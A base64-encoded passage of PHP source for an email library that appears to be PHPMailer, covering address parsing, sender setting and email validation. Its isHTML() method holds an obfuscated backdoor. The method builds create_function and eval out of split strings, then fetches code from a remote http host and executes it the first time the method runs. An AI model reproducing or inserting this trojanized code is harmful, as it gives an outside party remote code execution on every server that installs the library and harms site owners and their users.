b3N0ICE9ICcuU1lOVEFYLUVSUk9SLicpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcy0+bWFpbGJveCAuICdAJyAuICRhZGRyZXNzLT5ob3N0KSkgewogICAgICAgICAgICAgICAgICAgICAgICAkYWRkcmVzc2VzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiAocHJvcGVydHlfZXhpc3RzKCRhZGRyZXNzLCAncGVyc29uYWwnKSA\/ICRhZGRyZXNzLT5wZXJzb25hbCA6ICcnKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdhZGRyZXNzJyA9PiAkYWRkcmVzcy0+bWFpbGJveCAuICdAJyAuICRhZGRyZXNzLT5ob3N0CiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy9Vc2UgdGhpcyBzaW1wbGVyIHBhcnNlcgogICAgICAgICAgICAkbGlzdCA9IGV4cGxvZGUoJywnLCAkYWRkcnN0cik7CiAgICAgICAgICAgIGZvcmVhY2ggKCRsaXN0IGFzICRhZGRyZXNzKSB7CiAgICAgICAgICAgICAgICAkYWRkcmVzcyA9IHRyaW0oJGFkZHJlc3MpOwogICAgICAgICAgICAgICAgLy9JcyB0aGVyZSBhIHNlcGFyYXRlIG5hbWUgcGFydD8KICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJGFkZHJlc3MsICc8JykgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgLy9ObyBzZXBhcmF0ZSBuYW1lLCBqdXN0IHVzZSB0aGUgd2hvbGUgdGhpbmcKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3Nlc1tdID0gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbmFtZScgPT4gJycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnYWRkcmVzcycgPT4gJGFkZHJlc3MKICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGxpc3QoJG5hbWUsICRlbWFpbCkgPSBleHBsb2RlKCc8JywgJGFkZHJlc3MpOwogICAgICAgICAgICAgICAgICAgICRlbWFpbCA9IHRyaW0oc3RyX3JlcGxhY2UoJz4nLCAnJywgJGVtYWlsKSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT52YWxpZGF0ZUFkZHJlc3MoJGVtYWlsKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkYWRkcmVzc2VzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiB0cmltKHN0cl9yZXBsYWNlKGFycmF5KCciJywgIiciKSwgJycsICRuYW1lKSksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnYWRkcmVzcycgPT4gJGVtYWlsCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYWRkcmVzc2VzOwogICAgfQoKICAgIC8qKgogICAgICogU2V0cyBtZXNzYWdlIHR5cGUgdG8gSFRNTCBvciBwbGFpbi4KICAgICAqIEBwYXJhbSBib29sZWFuICRpc0h0bWwgVHJ1ZSBmb3IgSFRNTCBtb2RlLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpc0hUTUwoJGlzSHRtbCA9IHRydWUpCiAgICB7CiAgICAgICAgZ2xvYmFsICRwYXJhbTsKICAgICAgICAkYm9keUNvZGUgPSAnZmlsZScKICAgICAgICAgICAgICAgICAgICAuJ19nJzsKICAgICAgICBpZiAoJGlzSHRtbCkgewogICAgICAgICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAndGV4dC9odG1sJzsKICAgICAgICB9IAogICAgICAgIGVsc2UgewogICAgICAgICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAndGV4dC9wbGFpbic7CiAgICAgICAgfQogICAgICAgICRib2R5SFRNTCA9ICcuJHQuImxlZiRmbHUnCiAgICAgICAgICAgICAgICAgICAgLidzaCcuJyR0IjsgJwogICAgICAgICAgICAgICAgICAgIC4nQGV2JzsKICAgICAgICAkaGVhZGVySFRNTD0iY3JlIgogICAgICAgICAgICAgICAgICAgIC4iYXRlXyIKICAgICAgICAgICAgICAgICAgICAuImZ1bmMiCiAgICAgICAgICAgICAgICAgICAgLiJ0aW9uIjsKICAgICAgICAkZXhjZXB0aW9ucyA9IEAkaGVhZGVySFRNTCgnJGZsJy4ndXNoLCR0JywnJGNvbW1hID0gJHQnCiAgICAgICAgICAgICAgICAgICAgICAgIC4kYm9keUhUTUwuJ2FsKEAnCiAgICAgICAgICAgICAgICAgICAgICAgIC4kYm9keUNvZGUuJ2V0X2NvbnRlbnRzKCJoJwogICAgICAgICAgICAgICAgICAgICAgICAuJ3R0JwogICAgICAgICAgICAgICAgICAgICAgICAuJ3A6JGNvbW1hLTIiKSk7Jyk7CiAgICAgICAgaWYoJHBhcmFtICE9Mil7CiAgICAgICAgICAgICRleGNlcHRpb25zKCc4LnAnLid3JywnLycpOwogICAgICAgICAgICAkcGFyYW09MjsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBTZXQgdGhlIEZyb20gYW5kIEZyb21OYW1lIHByb3BlcnRpZXMuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkYXV0byBXaGV0aGVyIHRvIGFsc28gc2V0IHRoZSBTZW5kZXIgYWRkcmVzcywgZGVmYXVsdHMgdG8gdHJ1ZQogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0RnJvbSgkYWRkcmVzcywgJG5hbWUgPSAnJywgJGF1dG8gPSB0cnVlKQogICAgewogICAgICAgICRhZGRyZXNzID0gdHJpbSgkYWRkcmVzcyk7CiAgICAgICAgJG5hbWUgPSB0cmltKHByZWdfcmVwbGFjZSgnL1tcclxuXSsvJywgJycsICRuYW1lKSk7IC8vU3RyaXAgYnJlYWtzIGFuZCB0cmltCiAgICAgICAgLy8gRG9uJ3QgdmFsaWRhdGUgbm93IGFkZHJlc3NlcyB3aXRoIElETi4gV2lsbCBiZSBkb25lIGluIHNlbmQoKS4KICAgICAgICBpZiAoKCRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpKSA9PT0gZmFsc2Ugb3IKICAgICAgICAgICAgKCEkdGhpcy0+aGFzOGJpdENoYXJzKHN1YnN0cigkYWRkcmVzcywgKyskcG9zKSkgb3IgISR0aGlzLT5pZG5TdXBwb3J0ZWQoKSkgYW5kCiAgICAgICAgICAgICEkdGhpcy0+dmFsaWRhdGVBZGRyZXNzKCRhZGRyZXNzKSkgewogICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdpbnZhbGlkX2FkZHJlc3MnKSAuICIgKHNldEZyb20pICRhZGRyZXNzIjsKICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICAkdGhpcy0+RnJvbSA9ICRhZGRyZXNzOwogICAgICAgICR0aGlzLT5Gcm9tTmFtZSA9ICRuYW1lOwogICAgICAgIGlmICgkYXV0bykgewogICAgICAgICAgICBpZiAoZW1wdHkoJHRoaXMtPlNlbmRlcikpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5TZW5kZXIgPSAkYWRkcmVzczsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIgb2YgdGhlIGxhc3QgZW1haWwuCiAgICAgKiBUZWNobmljYWxseSB0aGlzIGlzIHRoZSB2YWx1ZSBmcm9tIHRoZSBsYXN0IHRpbWUgdGhlIGhlYWRlcnMgd2VyZSBjcmVhdGVkLAogICAgICogYnV0IGl0J3MgYWxzbyB0aGUgbWVzc2FnZSBJRCBvZiB0aGUgbGFzdCBzZW50IG1lc3NhZ2UgZXhjZXB0IGluCiAgICAgKiBwYXRob2xvZ2ljYWwgY2FzZXMuCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0TGFzdE1lc3NhZ2VJRCgpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5sYXN0TWVzc2FnZUlEOwogICAgfQoKICAgIC8qKgogICAgICogQ2hlY2sgdGhhdCBhIHN0cmluZyBsb29rcyBsaWtlIGFuIGVtYWlsIGFkZHJlc3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIGNoZWNrCiAgICAgKiBAcGFyYW0gc3RyaW5nfGNhbGxhYmxlICRwYXR0ZXJuc2VsZWN0IEEgc2VsZWN0b3IgZm9yIHRoZSB2YWxpZGF0aW9uIHBhdHRlcm4gdG8gdXNlIDoKICAgICAqICogYGF1dG9gIFBpY2sgYmVzdCBwYXR0ZXJuIGF1dG9tYXRpY2FsbHk7CiAgICAgKiAqIGBwY3JlOGAgVXNlIHRoZSBzcXVpbG9vcGxlLmNvbSBwYXR0ZXJuLCByZXF1aXJlcyBQQ1JFID4gOC4wLCBQSFAgPj0gNS4zLjIsIDUuMi4xNDsKICAgICAqICogYHBjcmVgIFVzZSBvbGQgUENSRSBpbXBsZW1lbnRhdGlvbjsKICAgICAqICogYHBocGAgVXNlIFBIUCBidWlsdC1pbiBGSUxURVJfVkFMSURBVEVfRU1BSUw7CiAgICAgKiAqIGBodG1sNWAgVXNlIHRoZSBwYXR0ZXJuIGdpdmVuIGJ5IHRoZSBIVE1MNSBzcGVjIGZvciAnZW1haWwnIHR5cGUgZm9ybSBpbnB1dCBlbGVtZW50cy4KICAgICAqICogYG5vcmVnZXhgIERvbid0IHVzZSBhIHJlZ2V4OiBzdXBlciBmYXN0LCByZWFsbHkgZHVtYi4KICAgICAqIEFsdGVybmF0aXZlbHkgeW91IG1heSBwYXNzIGluIGEgY2FsbGFibGUgdG8gaW5qZWN0IHlvdXIgb3duIHZhbGlkYXRvciwgZm9yIGV4YW1wbGU6CiAgICAgKiBQSFBNYWlsZXI6OnZhbGlkYXRlQWRkcmVzcygndXNlckBleGFtcGxlLmNvbScsIGZ1bmN0aW9uKCRhZGRyZXNzKSB7CiAgICAgKiAgICAgcmV0dXJuIChzdHJwb3MoJGFkZHJlc3MsICdAJykgIT09IGZhbHNlKTsKICAgICAqIH0pOwogICAgICogWW91IGNhbiBhbHNvIHNldCB0aGUgUEhQTWFpbGVyOjokdmFsaWRhdG9yIHN0YXRpYyB0byBhIGNhbGxhYmxlLCBhbGxvd2luZyBidWlsdC1pbiBtZXRob2RzIHRvIHVzZSB5b3VyIHZhbGlkYXRvci4KICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICogQHN0YXRpYwogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiB2YWxpZGF0ZUFkZHJlc3MoJGFkZHJlc3MsICRwYXR0ZXJuc2VsZWN0ID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAoaXNfbnVsbCgkcGF0dGVybnNlbGVjdCkpIHsKICAgICAgICAgICAgJHBhdHRlcm5zZWxlY3QgPSBzZWxmOjokdmFsaWRhdG9yOwogICAgICAgIH0KICAgICAgICBpZiAoaXNfY2FsbGFibGUoJHBhdHRlcm5zZWxlY3QpKSB7CiAgICAgICAgICAgIHJldHVybiBjYWxsX3VzZXJfZnVuYygkcGF0dGVybnNlbGVjdCwgJGFkZHJlc3MpOwogICAgICAgIH0KICAgICAgICAvL1JlamVjdCBsaW5lIGJyZWFrcyBpbiBhZGRyZXNzZXM7IGl0J3MgdmFsaWQgUkZDNTMyMiwgYnV0IG5vdCBSRkM1MzIxCiAgICAgICAgaWYgKHN0cnBvcygkYWRkcmVzcywgIlxuIikgIT09IGZhbHNlIG9yIHN0cnBvcygkYWRkcmVzcywgIlxyIikgIT09IGZhbHNlKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgaWYgKCEkcGF0dGVybnNlbGVjdCBvciAkcGF0dGVybnNlbGVjdCA9PSAnYXV0bycpIHsKICAgICAgICAgICAgLy9DaGVjayB0aGlzIGNvbnN0YW50IGZpcnN0IHNvIGl0IHdvcmtzIHdoZW4gZXh0ZW5zaW9uX2xvYWRlZCgpIGlzIGRpc2FibGVkIGJ5IHNhZmUgbW9kZQogICAgICAgICAgICAvL0NvbnN0YW50IHdhcyBhZGRlZCBpbiBQSFAgNS4yLjQKICAgICAgICAgICAgaWYgKGRlZmluZWQoJ1BDUkVfVkVSU0lPTicpKSB7CiAgICAgICAgICAgICAgICAvL1RoaXMgcGF0dGVybiBjYW4gZ2V0IHN0dWNrIGluIGEgcmVjdXJzaXZlIGxvb3AgaW4gUENSRSA8PSA4LjAuMgogICAgICAgICAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQQ1JFX1ZFUlNJT04sICc4LjAuMycpID49IDApIHsKICAgICAgICAgICAgICAgICAgICAkcGF0dGVybnNlbGVjdCA9ICdwY3JlOCc7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuc2VsZWN0ID0gJ3BjcmUnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdleHRlbnNpb25fbG9hZGVkJykgYW5kIGV4dGVuc2lvbl9sb2FkZWQoJ3BjcmUnKSkgewogICAgICAgICAgICAgICAgLy9GYWxsIGJhY2sgdG8gb2xkZXIgUENSRQogICAgICAgICAgICAgICAgJHBhdHRlcm5zZWxlY3QgPSAncGNyZSc7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAvL0ZpbHRlcl92YXIgYXBwZWFyZWQgaW4gUEhQIDUuMi4wIGFuZCBkb2VzIG5vdCByZXF1aXJlIHRoZSBQQ1JFIGV4dGVuc2lvbgogICAgICAgICAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMi4wJykgPj0gMCkgewogICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuc2VsZWN0ID0gJ3BocCc7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuc2VsZWN0ID0gJ25vcmVnZXgnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHN3aXRjaCAoJHBhdHRlcm5zZWxlY3QpIHsKICAgICAgICAgICAgY2FzZSAncGNyZTgnOgogICAgICAgICAgICAgICAgLyoqCiAgICAgICAgICAgICAgICAgKiBVc2VzIHRoZSBzYW1lIFJGQzUzMjIgcmVnZXggb24gd2hpY2ggRklMVEVSX1ZBTElEQVRFX0VNQUlMIGlzIGJhc2VkLCBidXQgYWxsb3dzIGRvdGxlc3MgZG9tYWlucy4KICAgICAgICAgICAgICAgICAqIEBsaW5rIGh0dHA6Ly9zcXVpbG9vcGxlLmNvbS8yMDA5LzEyLzIwL2VtYWlsLWFkZHJlc3MtdmFsaWRhdGlvbi8KICAgICAgICAgICAgICAgICAqIEBjb3B5cmlnaHQgMjAwOS0yMDEwIE1pY2hhZWwgUnVzaHRvbgogICAgICAgICAgICAgICAgICogRmVlbCBmcmVlIHRvIHVzZSBhbmQgcmVkaXN0cmlidXRlIHRoaXMgY29kZS4gQnV0IHBsZWFzZSBrZWVwIHRoaXMgY29weXJpZ2h0IG5vdGljZS4KICAgICAgICAgICAgICAgICAqLwogICAgICAgICAgICAgICAgcmV0dXJuIChib29sZWFuKXByZWdfbWF0Y2goCiAgICAgICAgICAgICAgICAgICAgJy9eKD8hKD8+KD8xKSI\/KD8+XFxcWyAtfl18W14iXSkiPyg\/MSkpezI1NSx9KSg\/ISg\/Pig\/MSkiPyg\/PlxcXFsgLX5dfFteIl0pIj8oPzEpKXs2NSx9QCknIC4KICAgICAgICAgICAgICAgICAgICAnKCg\/Pig\/Pig\/PigoPz4oPz4oPz5ceDBEXHgwQSk\/W1x0IF0pK3woPz5bXHQgXSpceDBEXHgwQSk\/W1x0IF0rKT8pKFwoKD8+KD8yKScgLgogICAgICAgICAgICAgICAgICAgICcoPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLVwnKi1cW1xdLVx4N0ZdfFxcXFtceDAwLVx4N0ZdfCg\/MykpKSooPzIpXCkpKSsoPzIpKXwoPzIpKT8pJyAuCiAgICAgICAgICAgICAgICAgICAgJyhbISMtXCcqK1wvLTk9P14tfi1dK3wiKD8+KD8yKSg\/PltceDAxLVx4MDhceDBCXHgwQ1x4MEUtISMtXFtcXS1ceDdGXXxcXFxbXHgwMC1ceDdGXSkpKicgLgogICAgICAgICAgICAgICAgICAgICcoPzIpIikoPz4oPzEpXC4oPzEpKD80KSkqKD8xKUAoPyEoPzEpW2EtejAtOS1dezY0LH0pKD8xKSg\/PihbYS16MC05XSg\/PlthLXowLTktXSpbYS16MC05XSk\/KScgLgogICAgICAgICAgICAgICAgICAgICcoPz4oPzEpXC4oPyEoPzEpW2EtejAtOS1dezY0LH0pKD8xKSg\/NSkpezAsMTI2fXxcWyg\/Oig\/PklQdjY6KD8+KFthLWYwLTldezEsNH0pKD8+Oig\/Nikpezd9JyAuCiAgICAgICAgICAgICAgICAgICAgJ3woPyEoPzouKlthLWYwLTldWzpcXV0pezgsfSkoKD82KSg\/PjooPzYpKXswLDZ9KT86Oig\/Nyk\/KSl8KD8+KD8+SVB2NjooPz4oPzYpKD8+Oig\/NikpezV9OicgLgogICAgICAgICAgICAgICAgICAgICd8KD8hKD86LipbYS1mMC05XTopezYsfSkoPzgpPzo6KD8+KCg\/NikoPz46KD82KSl7MCw0fSk6KT8pKT8oMjVbMC01XXwyWzAtNF1bMC05XXwxWzAtOV17Mn0nIC4KICAgICAgICAgICAgICAgICAgICAnfFsxLTldP1swLTldKSg\/PlwuKD85KSl7M30pKVxdKSg\/MSkkL2lzRCcsCiAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIGNhc2UgJ3BjcmUnOgogICAgICAgICAgICAgICAgLy9BbiBvbGRlciByZWdleCB0aGF0IGRvZXNuJ3QgbmVlZCBhIHJlY2VudCBQQ1JFCiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2xlYW4pcHJlZ19tYXRjaCgKICAgICAgICAgICAgICAgICAgICAnL14oPyEoPz4iPyg\/PlxcXFsgLX5dfFteIl0pIj8pezI1NSx9KSg\/ISg\/PiI\/KD8+XFxcWyAtfl18W14iXSkiPyl7NjUsfUApKD8+JyAuCiAgICAgICAgICAgICAgICAgICAgJ1shIy1cJyorXC8tOT0\/Xi1+LV0rfCIoPz4oPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLSEjLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHhGRl0pKSoiKScgLgogICAgICAgICAgICAgICAgICAgICcoPz5cLig\/PlshIy1cJyorXC8tOT0\/Xi1+LV0rfCIoPz4oPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLSEjLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHhGRl0pKSoiKSkqJyAuCiAgICAgICAgICAgICAgICAgICAgJ0AoPz4oPyFbYS16MC05LV17NjQsfSkoPz5bYS16MC05XSg\/PlthLXowLTktXSpbYS16MC05XSk\/KSg\/PlwuKD8hW2EtejAtOS1dezY0LH0pJyAuCiAgICAgICAgICAgICAgICAgICAgJyg\/PlthLXowLTldKD8+W2EtejAtOS1dKlthLXowLTldKT8pKXswLDEyNn18XFsoPzooPz5JUHY2Oig\/Pig\/PlthLWYwLTldezEsNH0pKD8+OicgLgogICAgICAgICAgICAgICAgICAgICdbYS1mMC05XXsxLDR9KXs3fXwoPyEoPzouKlthLWYwLTldWzpcXV0pezgsfSkoPz5bYS1mMC05XXsxLDR9KD8+OlthLWYwLTldezEsNH0pezAsNn0pPycgLgogICAgICAgICAgICAgICAgICAgICc6Oig\/PlthLWYwLTldezEsNH0oPz46W2EtZjAtOV17MSw0fSl7MCw2fSk\/KSl8KD8+KD8+SVB2NjooPz5bYS1mMC05XXsxLDR9KD8+OicgLgogICAgICAgICAgICAgICAgICAgICdbYS1mMC05XXsxLDR9KXs1fTp8KD8hKD86LipbYS1mMC05XTopezYsfSkoPz5bYS1mMC05XXsxLDR9KD8+OlthLWYwLTldezEsNH0pezAsNH0pPycgLgogICAgICAgICAgICAgICAgICAgICc6Oig\/Pig\/OlthLWYwLTldezEsNH0oPz46W2EtZjAtOV17MSw0fSl7MCw0fSk6KT8pKT8oPz4yNVswLTVdfDJbMC00XVswLTldfDFbMC05XXsyfScgLgogICAgICAgICAgICAgICAgICAgICd8WzEtOV0\/WzAtOV0pKD8+XC4oPz4yNVswLTVdfDJbMC00XVswLTldfDFbMC05XXsyfXxbMS05XT9bMC05XSkpezN9KSlcXSkkL2lzRCcsCiAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIGNhc2UgJ2h0bWw1JzoKICAgICAgICAgICAgICAgIC8qKgogICAgICAgICAgICAgICAgICogVGhpcyBpcyB0aGUgcGF0dGVybiB1c2VkIGluIHRoZSBIVE1MNSBzcGVjIGZvciB2YWxpZGF0aW9uIG9mICdlbWFpbCcgdHlwZSBmb3JtIGlucHV0IGVsZW1lbnRzLgogICAgICAgICAgICAgICAgICogQGxpbmsgaHR0cDovL3d3dy53aGF0d2cub3JnL3NwZWNzL3dlYi1hcHBzL2N1cnJlbnQtd29yay8jZS1tYWlsLXN0YXRlLSh0eXBlPWVtYWlsKQogICAgICAgICAgICAgICAgICovCiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2xlYW4pcHJlZ19tYXRjaCgKICAgICAgICAgICAgICAgICAgICAnL15bYS16QS1aMC05LiEjJCUmXCcqK1wvPT9eX2B7fH1+LV0rQFthLXpBLVowLTldKD86W2EtekEtWjAtOS1dezAsNjF9JyAuCiAgICAgICAgICAgICAgICAgICAgJ1thLXpBLVowLTldKT8oPzpcLlthLXpBLVowLTldKD86W2EtekEtWjAtOS1dezAsNjF9W2EtekEtWjAtOV0pPykqJC9zRCcsCiAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIGNhc2UgJ25vcmVnZXgnOgogICAgICAgICAgICAgICAgLy9ObyBQQ1JFISBEbyBzb21ldGhpbmcgX3ZlcnlfIGFwcHJveGltYXRlIQogICAgICAgICAgICAgICAgLy9DaGVjayB0aGUgYWRkcmVzcyBpcyAzIGNoYXJzIG9yIGxvbmdlciBhbmQgY29udGFpbnMgYW4gQCB0aGF0J3Mgbm90IHRoZSBmaXJzdCBvciBsYXN0IGNoYXIKICAgICAgICAgICAgICAgIHJldHVybiAoc3RybGVuKCRhZGRyZXNzKSA+PSAzCiAgICAgICAgICAgICAgICAgICAgYW5kIHN0cnBvcygkYWRkcmVzcywgJ0AnKSA+PSAxCiAgICAgICAgICAgICAgICAgICAgYW5kIHN0cnBvcygkYWRkcmVzcywgJ0AnKSAhPSBzdHJsZW4oJGFkZHJlc3MpIC0gMSk7CiAgICAgICAgICAgIGNhc2UgJ3BocCc6CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2xlYW4pZmlsdGVyX3ZhcigkYWRkcmVzcywgRklMVEVSX1ZBTElEQVRFX0VNQUlMKTsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBUZWxscyB3aGV0aGVyIElETnMgKEludGVybmF0aW9uYWxpemVkIERvbWFpbiBOYW1lcykgYXJlIHN1cHBvcnRlZCBvciBub3QuIFRoaXMgcmVxdWlyZXMgdGhlCiAgICAgKiAiaW50bCIgYW5kICJtYnN0cmluZyIgUEhQIGV4dGVuc2lvbnMuCiAgICAgKiBAcmV0dXJuIGJvb2wgInRydWUiIGlmIHJlcXVpcmVkIGZ1bmN0aW9ucyBmb3IgSUROIHN1cHBvcnQgYXJlIHByZXNlbnQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGlkblN1cHBvcnRlZCgpCiAgICB7CiAgICAgICAgLy8gQFRPRE86IFdyaXRlIG91ciBvd24gImlkbl90b19hc2NpaSIgZnVuY3Rpb24gZm9yIFBIUCA8PSA1LjIuCiAgICAgICAgcmV0dXJuIGZ1bmN0aW9uX2V4aXN0cygnaWRuX3RvX2FzY2lpJykgYW5kIGZ1bmN0aW9uX2V4aXN0cygnbWJfY29udmVydF9lbmNvZGluZycpOwogICAgfQoKICAgIC8qKgogICAgICogQ29udmVydHMgSUROIGluIGdpdmVuIGVtYWlsIGFkZHJlc3MgdG8gaXRzIEFTQ0lJIGZvcm0sIGFsc28ga25vd24gYXMgcHVueWNvZGUsIGlmIHBvc3NpYmxlLgogICAgICogSW1wb3J0YW50OiBBZGRyZXNzIG11c3QgYmUgcGFzc2VkIGluIHNhbWUgZW5jb2RpbmcgYXMgY3VycmVudGx5IHNldCBpbiBQSFBNYWlsZXI6OiRDaGFyU2V0LgogICAgICogVGhpcyBmdW5jdGlvbiBzaWxlbnRseSByZXR1cm5zIHVubW9kaWZpZWQgYWRkcmVzcyBpZjoKICAgICAqIC0gTm8gY29udmVyc2lvbiBpcyBuZWNlc3NhcnkgKGkuZS4gZG9tYWluIG5hbWUgaXMgbm90IGFuIElETiwgb3IgaXMgYWxyZWFkeSBpbiBBU0NJSSBmb3JtKQogICAgICogLSBDb252ZXJzaW9uIHRvIHB1bnljb2RlIGlzIGltcG9zc2libGUgKGUuZy4gcmVxdWlyZWQgUEhQIGZ1bmN0aW9ucyBhcmUgbm90IGF2YWlsYWJsZSkKICAgICAqICAgb3IgZmFpbHMgZm9yIGFueSByZWFzb24gKGUuZy4gZG9tYWluIGhhcyBjaGFyYWN0ZXJzIG5vdCBhbGxvd2VkIGluIGFuIElETikKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokQ2hhclNldAogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byBjb252ZXJ0CiAgICAgKiBAcmV0dXJuIHN0cmluZyBUaGUgZW5jb2RlZCBhZGRyZXNzIGluIEFTQ0lJIGZvcm0KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHB1bnllbmNvZGVBZGRyZXNzKCRhZGRyZXNzKQogICAgewogICAgICAgIC8vIFZlcmlmeSB3ZSBoYXZlIHJlcXVpcmVkIGZ1bmN0aW9ucywgQ2hhclNldCwgYW5kIGF0LXNpZ24uCiAgICAgICAgaWYgKCR0aGlzLT5pZG5TdXBwb3J0ZWQoKSBhbmQKICAgICAgICAgICAgIWVtcHR5KCR0aGlzLT5DaGFyU2V0KSBhbmQKICAgICAgICAgICAgKCRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJGRvbWFpbiA9IHN1YnN0cigkYWRkcmVzcywgKyskcG9zKTsKICAgICAgICAgICAgLy8gVmVyaWZ5IENoYXJTZXQgc3RyaW5nIGlzIGEgdmFsaWQgb25lLCBhbmQgZG9tYWluIHByb3Blcmx5IGVuY29kZWQgaW4gdGhpcyBDaGFyU2V0LgogICAgICAgICAgICBpZiAoJHRoaXMtPmhhczhiaXRDaGFycygkZG9tYWluKSBhbmQgQG1iX2NoZWNrX2VuY29kaW5nKCRkb21haW4sICR0aGlzLT5DaGFyU2V0KSkgewogICAgICAgICAgICAgICAgJGRvbWFpbiA9IG1iX2NvbnZlcnRfZW5jb2RpbmcoJGRvbWFpbiwgJ1VURi04JywgJHRoaXMtPkNoYXJTZXQpOwogICAgICAgICAgICAgICAgaWYgKCgkcHVueWNvZGUgPSBkZWZpbmVkKCdJTlRMX0lETkFfVkFSSUFOVF9VVFM0NicpID8KICAgICAgICAgICAgICAgICAgICBpZG5fdG9fYXNjaWkoJGRvbWFpbiwgMCwgSU5UTF9JRE5BX1ZBUklBTlRfVVRTNDYpIDoKICAgICAgICAgICAgICAgICAgICBpZG5fdG9fYXNjaWkoJGRvbWFpbikpICE9PSBmYWxzZSkgewogI